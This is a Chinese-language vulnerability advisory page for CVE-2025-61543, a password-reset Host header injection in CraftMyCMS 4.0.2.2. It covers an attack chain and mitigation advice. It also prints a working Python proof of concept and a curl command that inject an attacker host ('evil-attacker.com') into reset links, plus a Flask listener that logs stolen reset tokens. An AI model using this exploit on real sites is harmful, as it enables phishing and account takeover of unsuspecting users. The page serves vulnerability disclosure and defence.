IPBUF安全漏洞报告
English
CVE-2025-61543 CVSS 7.1 高危

CVE-2025-61543 CraftMyCMS密码重置主机头注入漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-61543
漏洞类型
Host Header Injection(主机头注入)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
CraftMyCMS

相关标签

Host Header Injection主机头注入CraftMyCMS密码重置钓鱼攻击账户接管PHPCMSCVE-2025-61543高危漏洞

漏洞概述

CVE-2025-61543是CraftMyCMS内容管理系统4.0.2.2版本中存在的一个主机头注入(Host Header Injection)漏洞,CVSS评分为7.1,属于高危级别漏洞。该漏洞位于系统的密码重置功能中,核心问题在于系统在生成密码重置链接时,直接使用了`$_SERVER['HTTP_HOST']`变量来构建邮件中发送给用户的重置URL,而没有对该值进行任何验证或过滤。

由于HTTP Host头是由客户端可控的,攻击者可以通过篡改HTTP请求中的Host字段,将恶意的域名或IP地址注入到密码重置链接中。当合法用户请求密码重置时,系统会将包含恶意链接的重置邮件发送给用户。如果用户点击了邮件中的恶意链接,将会被引导至攻击者控制的服务器,攻击者可以借此实施钓鱼攻击,窃取用户的密码重置令牌,从而实现账户接管(Account Takeover)。

该漏洞的攻击向量为网络(AV:N),无需认证(PR:N),但需要用户交互(UI:R)——即用户需要点击邮件中的恶意链接。漏洞对机密性影响为低(C:L),对完整性影响为无(I:N),对可用性影响为高(A:H)。该漏洞由[email protected]于2025年10月16日披露,目前已在多个漏洞数据库中收录,包括NVD、CVE.org、cvedetails和vuldb等。

技术细节

CraftMyCMS 4.0.2.2的密码重置功能在生成重置链接时,直接使用了PHP的`$_SERVER['HTTP_HOST']`超级全局变量,该变量的值来源于HTTP请求头中的Host字段。攻击者可以通过以下方式利用此漏洞:

1. **构造恶意HTTP请求**:攻击者向目标网站的密码重置端点发送一个带有篡改Host头的HTTP请求。例如,使用curl工具将Host头设置为攻击者控制的域名`evil.com`。
2. **触发密码重置流程**:攻击者以受害者的身份(知道其用户名或邮箱)请求密码重置。系统会根据请求中的Host头生成重置链接,如`http://evil.com/reset?token=xxx`。
3. **邮件投递**:系统将包含恶意链接的密码重置邮件发送给受害者。由于邮件中的链接指向攻击者的服务器,看起来仍然像是来自合法网站的邮件。
4. **令牌窃取与账户接管**:受害者点击邮件中的链接后,被重定向到攻击者的服务器。攻击者可以记录下重置令牌,然后使用该令牌在合法网站上完成密码重置,从而接管受害者账户。

根本原因在于不安全的直接信任客户端输入。修复方案应包括:使用配置文件中的固定域名而非`$_SERVER['HTTP_HOST']`来构建URL;对Host头进行白名单验证;或者使用`$_SERVER['SERVER_NAME']`配合配置校验。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标网站使用CraftMyCMS 4.0.2.2版本,并定位密码重置功能的端点URL。
STEP 2
步骤2:构造恶意请求
攻击者使用工具(如curl或自定义脚本)向密码重置端点发送HTTP请求,在请求头中将Host字段篡改为攻击者控制的服务器域名(如evil.com)。
STEP 3
步骤3:触发密码重置
攻击者在请求体中提交受害者邮箱或用户名,系统处理请求时使用被篡改的Host头生成密码重置链接,并将该链接嵌入到发送给受害者的邮件中。
STEP 4
步骤4:钓鱼邮件投递
受害者收到看似合法的密码重置邮件,邮件中的链接指向攻击者控制的服务器(如http://evil.com/reset?token=xxx)。
STEP 5
步骤5:令牌窃取
受害者点击邮件中的恶意链接,浏览器向攻击者服务器发起请求,攻击者在服务器端记录下URL中的密码重置令牌。
STEP 6
步骤6:账户接管
攻击者使用窃取到的重置令牌,通过合法网站的密码重置流程设置新密码,从而完全接管受害者账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61543 - CraftMyCMS Host Header Injection PoC # This PoC demonstrates how an attacker can inject a malicious Host header # to redirect password reset links to an attacker-controlled server. import requests # Target configuration target_url = "http://target-craftmycms-site.com" reset_endpoint = "/password/reset" # Adjust based on actual CMS routing attacker_host = "evil-attacker.com" # Step 1: Send a password reset request with a manipulated Host header headers = { "Host": attacker_host, # Inject malicious host "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" } # Victim's email or username data = { "email": "[email protected]", # Target victim's account "submit": "Reset Password" } print(f"[*] Sending password reset request with manipulated Host header: {attacker_host}") response = requests.post( f"{target_url}{reset_endpoint}", headers=headers, data=data, allow_redirects=False ) if response.status_code == 200 or response.status_code == 302: print("[+] Password reset request sent successfully!") print(f"[+] The victim will receive an email with a reset link pointing to: http://{attacker_host}/reset?token=XXXXX") print("[*] Set up a listener on the attacker server to capture the reset token when the victim clicks the link.") else: print(f"[-] Request failed with status code: {response.status_code}") # Step 2: Alternative - using curl command print("\n[*] Equivalent curl command:") print(f'''curl -X POST "{target_url}{reset_endpoint}" \\ -H "Host: {attacker_host}" \\ -H "Content-Type: application/x-www-form-urlencoded" \\ -d "[email protected]&submit=Reset+Password"''') # Step 3: On the attacker server, capture the reset token # Example Flask app to capture tokens: print("\n[*] Attacker server listener (Python Flask example):") print(''' from flask import Flask, request app = Flask(__name__) @app.route('/reset', methods=['GET']) def capture_token(): token = request.args.get('token') if token: print(f"[+] Captured reset token: {token}") with open("stolen_tokens.txt", "a") as f: f.write(f"{token}\n") return "Please wait...", 200 if __name__ == '__main__': app.run(host='0.0.0.0', port=80) ''')

影响范围

CraftMyCMS 4.0.2.2

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)在Web服务器(Nginx/Apache)层面配置Host头白名单,拒绝包含未知Host头的请求;2)在应用配置文件中硬编码站点域名,并修改代码使用该固定域名构建密码重置链接;3)部署反向代理或WAF规则,过滤异常的Host头请求;4)对用户进行安全教育,提醒其注意邮件中的链接是否与官方域名一致;5)监控异常的密码重置请求,特别是来自不同IP地址的频繁重置请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表